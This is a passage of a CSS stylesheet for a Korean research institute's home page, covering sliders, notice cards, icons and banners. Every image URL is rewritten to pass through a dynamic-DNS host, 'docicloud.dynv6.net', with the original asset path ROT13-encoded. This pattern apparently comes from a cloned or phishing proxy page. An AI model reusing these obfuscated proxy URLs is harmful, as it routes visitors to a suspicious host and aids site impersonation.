:root{
  --k_color1 : #2a82d5;
  --k_color2 : #d84725;
  --dot_color: #d84725;
  --hv_color : #1750a2;
}

body {font-family: 'GmarketSans'; font-weight: 500;}

/* 섹션01 */
.mobile{
  display: none !important;
}
section:not(#section1){
  overflow: hidden;
}
section:not(#section1, #section2, #section3) .section_inner{
  max-width: 1400px;
  width: calc(100% - 40px);
  margin: 0 auto;
}
.section_inner{
  position: relative;
}
.main_slide .slick-slide li {
  height: 942px;
  overflow: hidden;
  position: relative;
}
.main_slide .slick-slide li img{
  width: 100%;
  height: 100%;
  object-fit: cover;
}
.main_slide .slide_inner{
  position: absolute;
  top: 30%;
  left: calc((100% - 1400px) / 2);
}
.slide_inner .txt_wrap .big_text {
  font-size: 22px;
  color: #fff;
}
.slide_inner .txt_wrap .big_text .bold{
  display: block;
  font-size: 43px;
  margin-top: 20px;
}
.slide_inner .txt_wrap .img_add{
  margin-top: 18px;
}
.main_slide .slide_inner .control{
  margin-top: 40px;
}
.main_slide .control{
  position: absolute;
  left: calc((100% - 1400px) / 2);
  bottom: 40px;
}
.control{
  display: flex;
  gap: 25px;
  align-items: center;
}
.control .dots ul{
  display: flex;
  gap: 20px;
}
.control .dots button{
  font-size: 0;
  width: 11px;
  height: 11px;
  border-radius: 50%;
  background: #fff;
  transition: all 0.3s;
  vertical-align: middle;
}
.control .dots .slick-active button{
  background: var(--dot_color);
}
.control .count{
  color: #fff;
  font-size: 15px;
}
.control > button{
  width: 9px;
  height: 11px;
  position: relative;
  top: -1px;
}
.control > .pause{
  background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Sfyvqr_cnhfr.cat) no-repeat center center;
}
.control > .play{
  display: none;
  background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Sfyvqr_cynl.cat) no-repeat center center;
}
.main_contents_wrap .search_wrap{
  position: absolute;
  max-width: 675px;
  min-width: auto;
  width: 100%;
  right: calc((100% - 1400px) / 2);
  background: var(--k_color2);
  padding: 50px 60px 75px;
  bottom: -78px;
  box-shadow: 7px 9px 28px 2px rgba(0, 0, 0, 0.2);
}
.main_contents_wrap .search_wrap .txt {
  font-size: 20px;
  letter-spacing: 0.3em;
  color: #fff;
}
.main_contents_wrap .search_wrap .txt::after{
  display: inline-block;
  content: '';
  width: 34px;
  height: 2px;
  background: #fff;;
  margin-left: 16px;
}
.main_contents_wrap .search_wrap input{
  height: 64px;
  background: #fff;
  width: 100%;
  font-size: 18px;
  padding: 0 65px 0 20px;
  color: #000;
  text-indent: inherit;
}
.main_contents_wrap .search_wrap input::placeholder{
  color: #000;
}
.main_contents_wrap .search_wrap .input{
  margin-top: 30px;
  position: relative;
}
.main_contents_wrap .search_wrap .input .search_btn {
  position: absolute;
  top: 50%;
  right: 30px;
  transform: translateY(-50%);
}
.main_contents_wrap .search_wrap .input .search_btn .fa-search{
  font-size: 30px;
  color: var(--k_color2);
}
.hash_tag{
  display: flex;
  flex-wrap: wrap;
  margin-top: 18px;
  gap: 5px 10px;
}
.hash_tag a{
  display: inline-block;
  border: 1px solid #fff;
  border-radius: 5px;
  color: #fff;
  font-weight: 300;
  font-size: 16px;
  padding: 6px 10px 4px;
  position: relative;
  overflow: hidden;
}
.hash_tag a span{
  position: relative;
  z-index: 1;
  transition: all 0.3s;
}
.hash_tag a span::before{
  content: '#';
  display: inline-block;
}
.hash_tag a::after{
  content: '';
  position: absolute;
  width: 100%;
  height: 0;
  bottom: 0;
  left: 0;
  background: #fff;
  transition: all 0.3s;
}
.hash_tag a:hover:after{
  height: 100%;
}
.hash_tag a:hover span{
  color: #000;
}

@media screen and (max-width: 1550px){
  .main_slide .slide_inner{
    left: 20px;
  }
  .main_slide .control{
    left: 20px;
  }
  .main_contents_wrap .search_wrap{
    right: 20px;
  }
}

@media screen and (max-width: 1250px){
  /* 메인 */
  .section_title {
    font-size: 32px;
  }
  .add_inform_wrap > .sns_news {
    width: calc(100% - 510px);
  }
}

@media screen and (max-width: 1024px){
  /* 섹션01 */
  .main_slide .control{
    bottom: 240px;
  }
  .slide_inner .txt_wrap .big_text {
    font-size: 15px;
    line-height: 22px;
  }
  .slide_inner .txt_wrap .big_text .bold {
    font-size: 22px;
    margin-top: 15px;
  }
  .slide_inner .txt_wrap .img_add {
    margin-top: 15px;
    max-width: 124px;
  }
  .slide_inner .txt_wrap .img_add img{
    width: 100%;
  }
  .control .count {
    font-size: 14px;
  }
  .main_slide .slide_inner {
    top: 28%;
  }
  .hash_tag a{
    font-size: 14px;
  }
}

@media screen and (max-width: 768px){
  .pc{
    display: none !important;
  }
  .mobile{
    display: block !important;
  }
  .control_wrap .slick-arrow{
    display: none !important;
  }
  .control_wrap :is(button,a) {
    width: auto;
    height: auto;
    border: none;
  }
  .control_wrap .more_link .material-symbols-outlined{
    line-height: 1;
  }
  .control_wrap :is(button,a):hover {
    border-color: transparent;
    background-color: transparent;
    color: #000;
  }
  .main_contents_wrap .search_wrap{
    max-width: 100%;
    width: calc(100% - 40px);
    padding: 35px 30px;
    bottom: -114px;
  }
  .main_contents_wrap .search_wrap input {
    height: 54px;
    font-size: 16px;
    padding: 0 50px 0 15px;
  }
  .main_contents_wrap .search_wrap .input .search_btn {
    right: 20px;
  }
  .main_contents_wrap .search_wrap .input .search_btn .fa-search{
    font-size: 26px;
  }
  .main_slide .slick-slide li {
    height: 640px;
  }
  .hash_tag a {
    font-size: 12px;
    padding: 5px 4px;
  }
  .main_slide .control{
    bottom: 175px;
  }
}

@media screen and (max-width: 560px){
  .notice_slide {
    width: calc(100% - 40px);
    top: 25px;
    left: 35px;
  }
  .notice_slide .slick-slide > div {
    margin: 0 15px;
  }
  #section3::before {
    height: 260px;
  }
  .service_slide li .date_wrap{
    font-size: 13px;
  }
  .service_slide li a {
    margin: 0 15px;
  }
  .quick_wp > ul li a::before {
    background-size: auto 25px;
  }
  .side_wrap .control {
    flex-wrap: wrap;
    gap: 10px 20px;
  }
  .side_wrap .control .section_title{
    width: 100%;
  }
  .interview_wp .tab_button-wrap {
    width: 100%;
  }
  .quick_wp > ul li a{
    font-size: 12px;
  }
  .notice_wrap .tab_button-list li button{
    font-size: 14px;
  }
  .notice_wrap .tab_button-list {
    gap: 10px;
  }
}

/* 섹션02 */
#section2{
  overflow: hidden;
}
.tab_container .tab_contents {
  display: none;
}
.section_title{
  font-size: 32px;
  letter-spacing: -0.02em;
  white-space: nowrap;
}
#section2{
  padding: 150px 0 100px;
}
#section2 .title_wrap{
  flex-wrap: wrap;
  gap: 10px;
  max-width: 1400px;
  width: calc(100% - 40px);
}
.title_wrap{
  display: flex;
  align-items: center;
  margin:0 auto 35px;
}
.notice_wrap .tab_button-wrap{
  max-width: 1400px;
  width: 100%;
  position: absolute;
  top: -60px;
  left: 50%;
  transform: translateX(-50%);
}
.notice_wrap .tab_button-list {
  display: flex;
  justify-content: center;
  gap: 50px;
}
.notice_wrap .tab_button-list li{
  display: flex;
}
.notice_wrap .tab_button-list li button{
  font-family: 'KIMM_Bold';
  font-size: 22px;
  position: relative;
  padding-bottom: 9px;
  color: #000;
}
.notice_wrap .tab_button-list li button::after{
  content: '';
  position: absolute;
  bottom: 0px;
  width: 0;
  height: 2px;
  background: var(--k_color1);
  left: 50%;
  transform: translateX(-50%);
  transition: all 0.3s;
}
.notice_wrap .tab_button-list li.on button{
  color: var(--k_color1);
}
.notice_wrap .tab_button-list li.on button::after{
  width: 100%;
}
.notice_wrap .tab_container{
  position: relative;
}
.notice_wrap .tab_container .control_wrap {
  position: absolute;
  top: -73px;
  right: calc((100% - 1400px) / 2);
}
.notice_wrap .tab_container::before{
  content: '';
  position: absolute;
  top: 0;
  left: calc((100% - 1400px) / 2);
  width: 420px;
  height: 370px;
  background: var(--k_color2);
  transform: scale(0);
  transition: all 0.5s;
}
#section2.on .notice_wrap .tab_container::before{
  transform: scale(1);
}
.control_wrap{
  display: flex;
  gap: 4px;
}
.notice_wrap .control_wrap:not(.tab01){
  display: none;
}
.control_wrap :is(button,a){
  display: block;
  width: 45px;
  height: 45px;
  background-position: center center;
  background-repeat: no-repeat;
  border: 1px solid #bcbcbc;
  border-radius: 50%;
  transition: all 0.3s;
  text-align: center;
}
.control_wrap :is(button,a):hover{
  border-color: var(--k_color2);
  background-color: var(--k_color2);
  color: #fff;
}
.control_wrap .more_link .material-symbols-outlined{
  font-size: 30px;
  line-height: 45px;
  font-weight: 300;
}
.control_wrap .material-icons-round{
  font-size: 30px;
  line-height: 45px;
}
.notice_slide {
  top: 70px;
  left: calc((100% - 1400px) / 2 + 7%)
}
.notice_slide .slick-slide{
  padding: 10px 0;
}
.notice_slide li a{
  display: block;
  width: 100%;
  height: 100%;
  background: #fff;
  padding: 20px 28px 25px;
  border: 1px solid #d3d3d3;
  position: relative;
}
.notice_slide li a::before {
  content: "";
  position: absolute;
  top: -3px;
  right: 0;
  width: 100%;
  height: 100%;
  border-top: 2px solid var(--k_color2);
  border-left: 2px solid var(--k_color2);
  visibility: hidden;
}
.notice_slide li a::after {
  content: "";
  position: absolute;
  bottom: 0;
  left: 0;
  width: 100%;
  height: 100%;
  border-bottom: 2px solid var(--k_color2);
  border-right: 2px solid var(--k_color2);
  visibility: hidden;
}
.notice_slide li a:hover {
	transition: color 0.75s ease-in-out;
}
.notice_slide li a:hover:before {
	animation: topleft 0.5s ease-in-out forwards;
}
.notice_slide li a:hover:after {
	animation: bottomright 0.5s ease-in-out forwards;
}
.notice_slide li a:hover:before,
.notice_slide li a:hover:after{
  visibility: visible;
}
@keyframes bottomright {
	0% {
		width: 0;
		height: 0;
		padding-top: 0;
		visibility: visible;
	}
	25% {
		width: 100%;
		height: 0;
		padding-top: 0;
		visibility: visible;
	}
	50% {
		height: 100%;
		width: 100%;
		visibility: visible;
	}
	75% {
		visibility: visible;
	}
	100% {
		visibility: visible;
	}
}
@keyframes topleft {
	0% {
		width: 0;
		height: 0;
		padding-bottom: 0;
		visibility: hidden;
	}
	25% {
		width: 0;
		height: 0;
		padding-bottom: 0;
		visibility: hidden;
	}
	50% {
		width: 0;
		height: 0;
		padding-bottom: 0;
		visibility: hidden;
	}
	75% {
		width: 100%;
		height: 0;
		padding-bottom: 0;
		visibility: visible;
	}
	100% {
		width: 100%;
		height: 100%;
		opacity: 1;
		visibility: visible;
	}
}
.notice_slide li {
  box-shadow: 2px 2px 14px -4px rgba(0, 0, 0, 0.2);
}
.notice_slide li a{
  display: block;
  width: 100%;
  height: 100%;
}
.notice_slide .slick-slide > div{
  margin: 0 45px;
}
.notice_slide li .category{
  font-size: 20px;
  color :var(--k_color2);
  margin-bottom: 20px;
}
.notice_slide li .category::after{
  display: block;
  content: '';
  width: 100%;
  height: 1px;
  background: var(--k_color2);
  margin-top: 15px;
}
.notice_slide li .date{
  font-size: 16px;
  color: #626262;
}
.notice_slide li .title{
  font-size: 20px;
  line-height: 28px;
  display: -webkit-box;
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 2;
  overflow: hidden;
  text-overflow: ellipsis;
  word-break: break-all;
  margin-bottom: 15px;
  min-height: 56px;
}
.notice_slide li .sub_con{
  font-size: 16px;
  line-height: 25px;
  font-weight: 300;
  color: #626262;
  display: -webkit-box;
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 3;
  overflow: hidden;
  text-overflow: ellipsis;
  word-break: break-all;
  margin-bottom: 40px;
  min-height: 75px;
}
.notice_slide li .date_wrap{
  display: flex;
  justify-content: space-between;
}
.notice_slide li .view{
  font-size: 16px;
  color: #626262;
}
.notice_slide li .view span{
  display: inline-block;
  margin-left: 15px;
  font-weight: 300;
}

@media screen and (max-width: 1550px){
  .notice_wrap .tab_container::before{
    left: 20px;
  }
}

@media screen and (max-width: 1440px){
  .notice_wrap .tab_container .control_wrap{
    right: 20px;
  }
  .notice_slide .slick-slide > div {
    margin: 0 25px;
  }
}

@media screen and (max-width: 1250px){
  .notice_slide {
    left: calc((100% - 1400px) / 2 + 23%);
  }
  .notice_wrap .tab_button-list li button{
    font-size: 18px;
  }
}

@media screen and (max-width: 1024px){
  .notice_slide {
    top: 45px;
    left: 75px;
  }
  .notice_wrap .tab_container::before {
    width: 274px;
    height: 280px;
  }
  .notice_slide .slick-slide > div {
    margin: 0 30px;
  }
  #section2 .title_wrap{
    margin: 0 auto 85px;
  }
  .notice_wrap .tab_button-list {
      justify-content: flex-start;
      padding: 0 20px;
      gap: 30px;
  }
  .notice_wrap .tab_container .control_wrap {
    top: -118px;
  }
}

@media screen and (max-width: 768px){
  .section_title{
    font-size: 22px;
  }
  #section2 {
    padding: 175px 0 80px;
  }
  .title_wrap{
    align-items: flex-start;
    margin: 0 auto 25px;
  }
  .notice_wrap .tab_button-list li button{
    font-size: 14px;
  }
  .notice_wrap .tab_button-list {
    flex-wrap: wrap;
    gap: 8px 25px;
  }
  #section2 .tab_button-wrap{
    top: -65px;
  }
  .notice_slide li a {
    padding: 20px 20px 25px;
  }
  .notice_slide li .category {
    font-size: 18px;
    margin-bottom: 15px;
  }
  .notice_slide li .title {
    font-size: 17px;
    line-height: 24px;
    min-height: 45px;
  }
  .notice_slide li .sub_con {
    font-size: 14px;
    line-height: 23px;
    margin-bottom: 30px;
    min-height: 70px;
  }
  .notice_slide li .date {
    font-size: 14px;
    font-weight: 300;
  }
  .notice_slide li .view {
    font-size: 14px;
    font-weight: 300;
  }
  .control_wrap :is(button,a){
    width: auto;
    height: auto;
    border: none;
  }
  .control_wrap :is(button,a):hover{
    background: none;
  }
  .notice_slide .slick-slide > div {
    margin: 0 15px;
  }
}

@media screen and (max-width: 560px){
  .notice_slide {
    width: calc(100% - 40px);
    top: 25px;
    left: 35px;
  }
}

/* 섹션03 */
#section3{
  padding: 35px 0 50px;
  position: relative;
}
#section3 .section_inner{
  width: 100%;
  max-width: 1470px;
  margin: 0 auto;
  position: relative;
}
#section3 .title_wrap{
  padding: 0 35px;
}
.service_slide li a{
  display: block;
  font-size: 20px;
  font-weight: 400;
  text-align: center;
  margin: 0 35px;
}
.service_slide li a:focus-visible {
  outline-offset: -1px;
}
.service_slide li{
  position: relative;
}
#section3::before {
  content: '';
  display: block;
  width: 0;
  height: 430px;
  background-color: var(--k_color2);
  z-index: -1;
  position: absolute;
  bottom: 0;
  left: -40%;
  transition: all 1.5s;
  transform: skewX(45deg);
}
#section3.on::before {
  width: 170%;
}
.service_slide li .txt{
  margin-top: 20px;
}
.service_slide li .tit{
  color: #fff;
  text-align: left;
  font-size: 16px;
  line-height: 25px;
  text-overflow: ellipsis;
  overflow: hidden;
  display: -webkit-box;
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 2;
  margin-bottom: 20px;
  word-break: break-all;
  min-height: 50px;
}
.service_slide li .date_wrap{
  display: flex;
  gap: 25px;
  font-size: 16px;
  color: #fff;
}
.service_slide li .date_wrap .date{
  font-weight: 300;
}
.service_slide li .date_wrap .view{
  display: flex;
  gap: 8px;
}
.service_slide li .date_wrap .view span{
  font-weight: 300;
}
.service_slide li .img{
  position: relative;
  overflow: hidden;
}
.service_slide li .img img{
  width: 100%;
  margin: 0 auto;
}
.service_slide li .img::before {
  content: "";
  position: absolute;
  top: 0;
  right: -2px;
  width: 100%;
  height: 100%;
  border-top: 2px solid var(--k_color1);
  border-left: 2px solid var(--k_color1);
  visibility: hidden;
}
.service_slide li .img::after {
  content: "";
  position: absolute;
  bottom: 0;
  left: -2px;
  width: 100%;
  height: 100%;
  border-bottom: 2px solid var(--k_color1);
  border-right: 2px solid var(--k_color1);
  visibility: hidden;
}
.service_slide li a:hover .img{
	transition: color 0.75s ease-in-out;
}
.service_slide li a:hover .img::before {
  visibility: visible;
	animation: topleft2 0.5s ease-in-out forwards;
}
.service_slide li a:hover .img::after {
  visibility: visible;
	animation: bottomright2 0.5s ease-in-out forwards;
}
@keyframes bottomright2 {
	0% {
		width: 0;
		height: 0;
		padding-top: 0;
		visibility: visible;
	}
	25% {
		width: 100%;
		height: 0;
		padding-top: 0;
		visibility: visible;
	}
	50% {
		height: 100%;
		width: 100%;
		visibility: visible;
	}
	75% {
		visibility: visible;
	}
	100% {
		visibility: visible;
	}
}
@keyframes topleft2 {
	0% {
		width: 0;
		height: 0;
		padding-bottom: 0;
		visibility: hidden;
	}
	25% {
		width: 0;
		height: 0;
		padding-bottom: 0;
		visibility: hidden;
	}
	50% {
		width: 0;
		height: 0;
		padding-bottom: 0;
		visibility: hidden;
	}
	75% {
		width: 100%;
		height: 0;
		padding-bottom: 0;
		visibility: visible;
	}
	100% {
		width: 100%;
		height: 100%;
		opacity: 1;
		visibility: visible;
	}
}
.often_service_wrap .control_wrap{
  position: absolute;
  top: 0;
  right: 35px;
}


@media screen and (max-width: 1024px){
  #section3 .title_wrap {
    padding: 0 20px;
  }
  .service_slide li a{
    margin: 0 25px;
  }
  .service_slide li a img{
    width: 100%;
  }
  #section3::before {
    height: 360px;
  }
}

@media screen and (max-width: 768px){
  #section3 {
    padding: 0px 0 40px;
  }
  .service_slide li .tit {
    font-size: 15px;
    line-height: 22px;
    margin-bottom: 10px;
    min-height: 45px;
  }
  .service_slide li .date_wrap {
    font-size: 14px;
    flex-wrap: wrap;
    gap: 2px 25px;
  }
  #section3.on::before {
    left: -60%;
    width: 220%;
  }
}

@media screen and (max-width: 560px){
  #section3::before {
    height: 260px;
  }
}

/* 섹션04 */
#section4{
  padding: 60px 0;
}
.quick_wp > ul{
  display: flex;
  justify-content: space-between;
  text-align: center;
  gap: 20px;
}
.quick_wp > ul li{
  min-width: 0;
  flex: 1;
}
.quick_wp > ul li a{
  display: block;
  height: 100%;
  width: 100%;
  font-size: 16px;
  line-height: 20px;
  word-break: keep-all;
}
.quick_wp > ul li a::before{
  content: '';
  display: block;
  margin: 0 auto 12px;
  width: 113px;
  aspect-ratio: 1/1;
  background-color: var(--k_color1);
  border-radius: 50%;
  background-position: center center;
  background-repeat: no-repeat;
  background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Svpb_dhvpx01.cat);
  transition: all 0.3s;
}
.quick_wp > ul li:nth-of-type(2) a::before{
  background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Svpb_dhvpx02.cat);
}
.quick_wp > ul li:nth-of-type(3) a::before{
  background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Svpb_dhvpx03.cat);
}
.quick_wp > ul li:nth-of-type(4) a::before{
  background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Svpb_dhvpx04.cat);
}
.quick_wp > ul li:nth-of-type(5) a::before{
  background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Svpb_dhvpx05.cat);
}
.quick_wp > ul li:nth-of-type(6) a::before{
  background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Svpb_dhvpx06.cat);
}
.quick_wp > ul li:nth-of-type(7) a::before{
  background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Svpb_dhvpx07.cat);
}
.quick_wp > ul li:nth-of-type(8) a::before{
  background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Svpb_dhvpx08.cat);
}
.quick_wp > ul li a:hover:before{
  background-color: var(--hv_color);
  transform: translateY(-13px);
}

@media screen and (max-width: 1250px){
  .quick_wp > ul{
    flex-wrap: wrap;
  }
  .quick_wp > ul li {
    flex: 20%;
  }
}

@media screen and (max-width: 768px){
  #section4 {
    padding: 45px 0 55px;
  }
  .quick_wp > ul li a::before{
    margin: 0 auto 12px;
    max-width: 90px;
    width: 100%;
    min-width: auto;
    background-size: auto 30px;
  }
}

@media screen and (max-width: 560px){
  .quick_wp > ul li{
    flex: calc((100% - 20px) / 2);
  }
  .quick_wp > ul li a{
    font-size: 14px;
  }
}

/* 섹션05 */
#section5{
  padding: 40px 0 65px;
}
.side_wrap{
  display: flex;
  gap: 50px;
  align-items: baseline;
}
.side_wrap .title_wrap{
  margin-bottom: 20px;
}
.side_wrap > div{
  flex: 1;
  min-width: 0;
  position: relative;
}
.side_wrap .pop_zone_wp a:focus{
  outline-offset: -2px;
}
.side_wrap .control{
  align-items: center;
}
.side_wrap .control > button{
  top: -1px;
}
.side_wrap .control .dots button {
  background: #000;
}
.side_wrap .control .dots .slick-active button{
  background: var(--dot_color);
}
.side_wrap .control .count {
  color: #000;
  font-size: 14px;
}
.side_wrap .control > .pause {
  background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Sfyvqr_cnhfr_oy.cat) ;
}
.side_wrap .control > .play {
  background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Sfyvqr_cynl_oy.cat);
}
.view_more{
  position: absolute;
  right: 0;
  top: 0;
}
.view_more span{
  font-size: 30px;
  transition: all 0.3s;
}
.view_more:hover span{
  transform: rotate(90deg);
  color: var(--k_color1);
}
.media_banner .inner{
  aspect-ratio: 10 / 5.55;
  overflow: hidden;
} 
.media_banner .inner a{
  display: block;
  width: 100%;
  height: 100%;
}
.media_banner .inner a:focus-visible{
  outline-offset: -2px;
}
.media_banner .inner img{
  width: 100%;
  height: 100%;
  object-fit: contain;
}

@media screen and (max-width: 1400px){
  .media_banner .inner{
    padding: 0;
  }
}

@media screen and (max-width: 1024px){
  .side_wrap {
    gap: 40px;
    flex-direction: column;
  }
  .side_wrap > div {
    width: 100%;
  }
  .side_wrap > div img{
    width: 100%;
  }
}

@media screen and (max-width: 768px){
  #section5 {
    padding: 0px 0 55px;  
  }
  .control {
    gap: 20px;
  }
}

/* 섹션06 */
#section6{
  padding: 70px 0 75px;
  position: relative;
}
#section6::before{
  content: '';
  position: absolute;
  background: #efefef;
  width: 0;
  height: 100%;
  bottom: 0;
  left: -35%;
  transition: all 1.5s;
  transform: skewX(45deg);
}
#section6 .section_inner {
  width: 100% !important;
  max-width: 1450px !important;
}
#section6 .title_wrap {
  padding: 0 25px;
}
#section6.on::before {
  width: 170%;
}
.interview_slide li a{
  display: block;
  width: 100%;
  height: 100%;
  padding: 0 25px;
}
.interview_slide li a:focus-visible{
  outline-offset: 0;
}
.interview_slide li a img{
  width: 100%;
}
.interview_slide li .txt_wp{
  margin-top: 20px;
  overflow: hidden;
}
.interview_slide li .txt_wp .t{
  font-size: 16px;
  line-height: 21px;
  white-space: nowrap;
  text-overflow: ellipsis;
  position: relative;
  display: inline-block;
  max-width: 100%;
  overflow: hidden;
}
.interview_slide li a .txt_wp .t::before{
  content: '';
  position: absolute;
  bottom: 3px;
  width: 0;
  height: 10px;
  background: var(--k_color1);
  opacity: 0.2;
  transition: all 0.3s;
}
.interview_slide li a:hover .txt_wp .t::before{
  width: 100%;
}
.interview_slide li .img_wp{
  text-align: center;
}
.interview_slide + .control_wrap{
  position: absolute;
  top: 0;
  right: 15px;
}
.interview_slide  + .control_wrap :is(button,a){
  border: none;
  width: auto;
  height: auto;
  color: #000;
  border-radius: 0;
}
.interview_slide  + .control_wrap :is(button,a):hover{
  background-color: transparent;
  color: var(--k_color1);
}

@media screen and (max-width: 768px){
  #section6 {
    padding: 45px 0 40px;
  }
  .interview_wp .tab_button-wrap {
    flex-wrap: wrap;
    gap: 5px;
  }
  .interview_wp .tab_button-wrap .section_title{
    width: 100%;
  }
  .interview_wp .tab_button-list li button {
    width: 34px;
    height: 34px;
    background-size: cover;
  }
  .interview_slide li a {
    padding: 0 15px;
  }
  .interview_slide li a .img_wp img{
    width: 100%;
  }
  .interview_wp .control_wrap .slick-arrow {
    display: block !important;
  }
  .control_wrap .material-icons-round {
    line-height: 16px;
  }
  .interview_slide li .txt_wp .t {
    font-size: 15px;
  }
  .interview_slide li .txt_wp .from {
    font-size: 14px;
  }
  .interview_slide li .txt_wp .from::before {
    width: 29px;
    height: 29px;
    background-size: auto 15px;
    margin-right: 5px;
  }
  #section6.on::before {
    left: -60%;
    width: 230%;
  }
  .interview_slide + .control_wrap{
    top: -13px;
    align-items: baseline;
  }
  .interview_slide + .control_wrap :is(button,a){
    line-height: 1;
  }
}

/* 섹션07 */
#section7{
  padding: 95px 0;
}
.document_wrap{
  display: flex;
  gap: 35px;
}
.document_wrap > div{
  min-width: 0;
  flex: 1;
}
.document_wrap .support_biz > ul{
  display: flex;
  gap: 35px;
  height: 100%;
}
.rating_docu > ul > li{
  height: 138px;
  display: flex;
  align-items: center;
  justify-content: space-between;
  border: 1px solid #c2c2c2;
  padding: 10px 28px 10px 35px;
}
.rating_docu > ul > li + li{
  margin-top: 10px;
}
.rating_docu > ul > li:first-of-type{
  background: #f4f9ff;
}
.rating_docu > ul > li:nth-of-type(2){
  background: #f6efea;
}
.rating_docu > ul > li:last-of-type{
  background: #f5eafe;
}
.rating_docu > ul > li .name_wrap p{
  font-size: 24px;
}
.rating_docu > ul > li .name_wrap span{
  display: block;
  font-size: 18px;
  margin-top: 20px;
  word-break: break-all;
}
.rating_docu > ul > li .btn_wrap a{
  display: flex;
  align-items: center;
  min-height: 43px;
  min-width: 188px;
  border: 1px solid var(--hv_color);
  border-radius: 10px;
  transition: all 0.3s;
  position: relative;
}
.rating_docu > ul > li .btn_wrap a:focus-visible{
  outline: 2px solid #000;;
}
.rating_docu > ul > li .btn_wrap a span{
  display: inline-block;
  width: 100%;
  position: relative;
  z-index: 1;
  background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Svpb_neebj-jg02.cat) no-repeat top 2px right 20px;
  color: #fff;
  transition: all 0.2s;
  padding-top: 2px;
  padding: 0 20px;
}
.rating_docu > ul > li .btn_wrap a:after {
	pointer-events: none;
	position: absolute;
	width: 100%;
	height: 100%;
	border-radius: 10px;
	content: '';
	-webkit-box-sizing: content-box; 
	-moz-box-sizing: content-box; 
	box-sizing: content-box;
  top: -2px;
  left: -2px;
  padding: 2px;
  background: var(--hv_color);
	transition: transform 0.2s, opacity 0.3s;
}
.rating_docu > ul > li .btn_wrap a:hover:after {
	transform: scale(1.07);
	opacity: 0;
}
.rating_docu > ul > li .btn_wrap a:hover span{
  background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Svpb_fyvqr_arkg-ox.cat);
  color: #000;
}
.rating_docu > ul > li .btn_wrap a + a{
  margin-top: 6px;
}
.support_biz > ul > li{
  flex: 1;
  text-align: center;
  padding: 40px 30px;
}
.support_biz > ul > li .text{
  color: #fff;
  font-size: 20px;
  line-height: 28px;
}
.support_biz > ul > li .sub_text{
  font-size: 17px;
  font-weight: 300;
  color: #fff;
  margin-top: 15px;
}
.support_biz > ul > li:first-of-type{
  background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Sovm_ot02.wct) no-repeat center center;
  background-size: cover;
}
.support_biz > ul > li .btn{
  margin-top: 25px;
}
.support_biz > ul > li .btn a{
  max-width: 235px;
  width: 100%;
  display: flex;
  align-items: center;
  justify-content: center;
  background: #1e4d84;
  border-radius: 20px;
  color: #fff;
  min-height: 40px;
  margin: 0 auto;
  padding: 5px;
}
.support_biz > ul > li:nth-of-type(2){
  background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfg.er.xe%2S_erf%2Sxvfg%2Sxb%2Svzt%2Sznva%2Sovm_ot02.wct) no-repeat center center;
  background-size: cover;
}
.support_biz > ul > li .btn_more_wp{
  margin-top: 40px;
}
.support_biz > ul > li .btn_more_wp a{
  display: flex;
  align-items: center;
  justify-content: center;
  width: 100%;
  height: 73px;
  text-align: center;
  color: #fff;
  font-size: 16px;
  border: 1px solid #7ea7e3;
  transition: all 0.2s;
  position: relative;
  overflow: hidden;
}
.support_biz > ul > li .btn_more_wp a + a{
  margin-top: 10px;
}
.support_biz > ul > li .btn_more_wp a span{
